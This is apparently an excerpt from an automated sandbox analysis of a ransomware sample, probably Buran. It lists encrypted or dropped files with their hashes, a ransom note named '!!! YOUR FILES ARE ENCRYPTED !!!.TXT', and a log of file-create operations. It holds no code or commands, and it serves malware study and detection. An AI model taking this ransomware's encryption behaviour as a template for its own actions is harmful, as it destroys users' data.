SSDeep: 192:ff6cnItD6gTpUwj6hAyZ/aJ1JFHhM9RDiTJ0Kelw2Tvv1xgkZKtqceo9gEV4TBfw:q6FgdLj7ccQ2TJ0X1xgpDe/k+nXZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 21.17 KB MD5: b8d76d3a2b49cc58ce22a430b954b1b0
SHA1: 2df6d3f06ce9406440781f8723286839ab377e34
SHA256: 882ea50b579cbbb9cc81bb1cc8bf688aeaa56e237850075ef6124a000ac8097a
SSDeep: 384:W/9nH0y62lhz12UQlduFed3+6VILbYP6J/34m9+Yf/H9FmZS:W/9nL62lhz12dJu46lDHnH9FmQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19563_.gif 19.98 KB MD5: 4efd0644dce706fee1b7cd965a2e0c2d
SHA1: 78f9a8165217d44f4a87b9d769680bf89cd6e94f
SHA256: b45c9476110e1715fa656fc97c17276d1ffc56128b83ccc643ffc494b0355cc9
SSDeep: 384:hNKdZYYB/S5MaxgNEb6UP14JqkH2oBiFs1qg0nR8OL7vDaXU9YlpNUOL7vDaXi:h0ZL/eBxgKb6a4JVkFav0L/vDaXqc//N 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19582_.gif 15.37 KB MD5: 364dd13bd0cd076e301d4fc20c765a5f
SHA1: 5088136c7ef7284f1088a0523a62d22cd35f4ec1
SHA256: 66984a50e786c35154daaa07e668436bf8230d2ff5f41dfc29268e30df3becd3
SSDeep: 384:hjWFWvfXmurlgjcFxGtz9+md+kQb/hVXiGPgmBBkU+YRZ:hjWFWv/1l8cFxGh/EbhMGPgoKUpD 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19695_.wmf 12.68 KB MD5: 42a5242306dfa010c322b38eb620c650
SHA1: 3f015ba404fe483864a7c4b5c5c4b84ed62713cb
SHA256: 476980e04faa65d6925c55b96c41ad3f0f7fbb849c466416b9e6010c1c83d122
SSDeep: 192:HnEnwBqoXGaeM10mJGXnRMVySHx2JTfY1Yy13PPT78LbfZuPsNi7cBhp+Ew5e:HnEwDyM10zXkCfk5pP8HfZ+i+s 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19828_.wmf 8.57 KB MD5: c00d7aeef3cbbebee5fc330ec4b02e0f
SHA1: cb695d312f0173123b439c65a83b8773f30b6915
SHA256: d7c715de84b4baab39d08787d292ea42dc625954a11d52c7259bf89d9c135823
SSDeep: 192:mHB57C6c9OC1oVtPsjC+ps/wDRCkqjaG4hAkhzJ7W9FRj:mHXCRyDcHs/GR2xA7hsFRj 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.03 KB MD5: 9005af4a69168e05db92cff86952f030
SHA1: af0cd1887a3286ebab6aeff663304a9681aadb7e
SHA256: 21e828bcbb11a91c1ba744bf76c7cba911e96e010421367f444a4271ea1d507f
SSDeep: 192:wd3LO4pYiT/9kYKeJ9YFy0SZJEsMM546vCp0G2Ap57ktkCp/6:wNOY/9tqFVHsp54KCjcZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19986_.wmf 14.15 KB MD5: f47beb5612aa13fd016912500151bc5c
SHA1: ed0ff09cac0d747c5a088bf866e019772ce68113
SHA256: 60d42ee9427756f2a04e224f9d64e98f68ea3e09f079a0344350df67bd9325bd
SSDeep: 384:Jfudn5zFOLwfy6QTW3/ZGLyKNngxLynkc:JCVFOLwq83AbJkc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.61 KB MD5: aee9143c9eb48d503aabda2debdbc6a7
SHA1: 310aeb8e69eae4d58c91b65b8c4f735a194f3607
SHA256: 7b626eeee06171da900c3dcad16c11bf2d1f5a0cebd9b986fa515266896e50d1
SSDeep: 384:7hiR7ePA3FKZdnQBj9/v9GMzzXZ3AIGkeFZS:F3P2AdnQf/vYgDZ3MnQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19988_.wmf 17.88 KB MD5: bca899532ce58632c12fc1d60f835395
SHA1: 24b58e7b9f93443049069e8b7e4554446f2e735e
SHA256: b3fc4c6ab96f88f4216532e891c33f9140285e8d28a6903a26313031e0b7a32a
SSDeep: 384:pdgr5nrHzn6Lhe9cr3OZqPVwfy3ErSHDsVunkrzVDM9x+iWXjP2v:pirTMzVqEE2A8nk3VI9x+vXjG 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 19.35 KB MD5: 05514b0a4faa48806e139fb00f2f227c
SHA1: bd0394e31bc38fd1f8e3fad47622e4fd0ad6d9fa
SHA256: 06623f46860a4d51d0faf2d3ade5b6628df1ef93502101784b3c7dc7729fe0aa
SSDeep: 384:bQgyJbHt3g3Xkf9UYLanLOYsxkjjEPv62qXn2b8x2IPlZS:bkbHt3sa9UYLaLOfPvq3WN6lQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd20013_.wmf 10.80 KB MD5: 0f72d5bfa65af6a93147ca8b9907f3c0
SHA1: ddab3d5edd0267c1691994b5c09c8fe52dcb5991
SHA256: 49030d0018254293bac703c01ae2a67500b32aff521d9665e7545629f4264127
SSDeep: 192:JeXwBfsnL4eKmltkinujbS0oQ33Oe/k5uWRB6GLpwA3uLsnMeHLDiZuRAFGBg:JIwKnL4evtuXOes8S4qUfUviURAFGe 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00008_.wmf 12.23 KB MD5: f62e23a49bbe0e7c84ea0db5c6b9a517
SHA1: 9a19e35393a7e617f89546de39c9086be4a94e8c
SHA256: 6b19388f44525428175da26742fbde26501bdade6f8af13dad3d45c83f8cccf7
SSDeep: 384:Er1JEYGtq/MZA+JrtVHn+YJm1m5vooeyF:ErDEYnwAWVH+fQolyF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.69 KB MD5: 7369fd34f55af9ff8509809ebb5b45dd
SHA1: f5d117720dd8a759af4b42caf1317ba6d1485f34
SHA256: 452195d2cce0f0a5854d9085d606312c753c2888db6a241d3a3940fc41ed6d4b
SSDeep: 384:qxnXK3MPI3INiifjJPU/n8mPxJuzhbPjYxZS:MKOq2xfjJM/f7uzhTUQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00012_.wmf 9.59 KB MD5: aeb0b32638239613dd1347d6bc9cf6a3
SHA1: 1bb0773274a4ecfabcea1d164256ccb6c262b67f
SHA256: 7f8144784b4466723357dfd7295acc5f27d1df59683939f04606d62467d95e38
SSDeep: 192:/Q7fS2NZqFDqsV1gFkoa8miLtheZTJ9G15PP2AG5f:orSs+DXqmotwZTJK52xf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 11.05 KB MD5: cf3c05b63f0941e9d96c8b958ceac2dc
SHA1: 0f001794af8430947699f255d115392f3c2890d6
SHA256: b42063ea184795903f4714bddda68c6efc029d63b4296c30fbbb3a085f25e839
SSDeep: 192:+6VEYCChiPBeLB7xeWzmS/rL6YSs4hPIAYcJ1Hzmm+7Josb27ktkCp/6:5VHHhVawjDLLS/gcjp+losbxZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00045_.wmf 7.68 KB MD5: 02d823725fea61ea4451c5f4780886e0
SHA1: 5f26a0e88b02f4308b59c5a720a9092773a7be31
SHA256: eec7524ea932c34361b744207c7ff8b61a6e90bab301c29d011666f751f7e600
SSDeep: 192:Q57T2KT+SZ8/FvK+p6WK0hCNx8LymnUSoiQiL2WRCg:Q57T2KT+Sq/Fy+U508oNnUSoiQid 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00098_.wmf 1013 bytes MD5: 84834136ba6dbbcf80350dda9309f6ad
SHA1: c04dacb89d3258d8313545051b59f4473c7f4970
SHA256: 995c44d40c9a2b676558fcc5675e63858dea60d9443950a4129152809bbdba34
SSDeep: 24:t/g6IBA3Hih+KmH951CYVizA4+dNim+H6+bt9tl0C9lPlpPdpFZhvH:1gd0ltdri1mNim+ac9t7jpPdppvH 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00105_.wmf 881 bytes MD5: 9365ec0d3462e2e46ae3fb414f904a50
SHA1: 41b7947e80af0ffaafc6ae6b3e6064ddf21f689d
SHA256: 21e262fc9dc46986ab07e80800a56cc2405b684e8158ea04c88fb272ed792b01
SSDeep: 24:t/zjlcnrA3HiyAHhN/GAW6Q5250+Sp24f+v/8Aal:1zj20Z0N/GAhQ450+4f+vUAu 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 2.33 KB MD5: f919c347ec02f42a6d487f61d26721bc
SHA1: 70909587c3e217bd90901335c077e17f5b89e813
SHA256: 54dc3e6838916006cdaa94fc04107d30c247e4ae702301d15c63893e764d1de6
SSDeep: 48:gFaTP1ZlAyn2QnkmcKP0CQryNoXT+y64VR5kFj93+39rQpR62idl6rKj:geZR2QnkmNsCQmEay64V7kFj1+NrQpwt 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00122_.wmf 9.91 KB MD5: 821478b614389667e51e4e8c9f394be0
SHA1: 8b909fdb406d92f38c4b409f1a230a62eb5e39a8
SHA256: 69dc1f240839c9d6fc9bff3122252afb7cdad3775372f8d8348edfd980d9b0dc
SSDeep: 192:JvrxDivoiNY+4SzhTUBVbdqGYx3WIDSYo3OQ9QxOWS7LNbh0Kk9odGCGlyOoVM:JvrZivoiNbBhTUBVZMo3OQ94OWS75bh6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00130_.wmf 1.43 KB MD5: 83f03388a1d3efe70d5b166fe6c2a2a7
SHA1: 0eef8c9a26fd16d44f15746956d381104d57298c
SHA256: 48ae7a8fbb74a0a1eac4491a347faeb4863c0a5ed4da1cf2a2a3dcbab7fb7ac4
SSDeep: 24:t/nA3Hi8KeohCF3sFnRhCty/luqV2eRhClYM9Klr+NhCGQWoq6ukveL6ntdWtcbc:901VoE36ec2urUB+VveLKQtcIUG27eyw 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bl00148_.wmf 1.66 KB MD5: 4ce0827a7f45a45c08b2a0fd60b25647
SHA1: db7df5cde4330ff6dc95e9cad33f5f05b6e69f18
SHA256: f12de134086e807930175a19566680778928208f779d7907d3c208ad40577e0d
SSDeep: 24:t/0fbE9A3Hih+KhZmhC8U/NdhCNN1w27+9hCTUhCvbjSxGIoK7Qh5YLx4VQuHlsx:1020lJSd2190NmbjSxGucvBQuSrio 		False
...
Host Behavior
File (6859)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\5B51C018.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\0giK_.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\bootmgr desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\1dF073H.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9DZVN uKNWz.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\audiodepthconverter.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\bars-journey.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\bod_r.TTF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\directshowtap.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\DVDMaker.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Eurosti.TTF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\fieldswitch.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\offset.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\rtstreamsink.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\rtstreamsource.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\SecretST.TTF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\soniccolorconverter.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\sonicsptransform.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\AD1fEuPe-JoJAF.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\en-US\DVDMaker.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\en-US\OmdProject.dll.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\en-US\WMM2CLIP.dll.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\Common.fxh desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DissolveAnother.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DissolveNoise.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\Filters.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aryXZJ1kbopy8.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\Parity.fx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_Buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_Buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aTd04RZwY.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BlackRectangle.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_selectionsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_videoinset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circle_glass_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureA.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureB.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bn2wxj.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\cloud_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\heart_glass_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bOU7z_qZLKD.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\menu_style_default_Thumbnail.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dz81zv7.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_selectionsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_videoinset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_babypink_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ECG ve.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_glass_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_highlights_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_plain_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_scrapbook_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_specialocc_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_travel_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\F4TfuZGVbbSOIXc5ob.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\scene_button_style_default_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_selectionsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\fTn7T2r1c_emodCz.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\babyblue.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
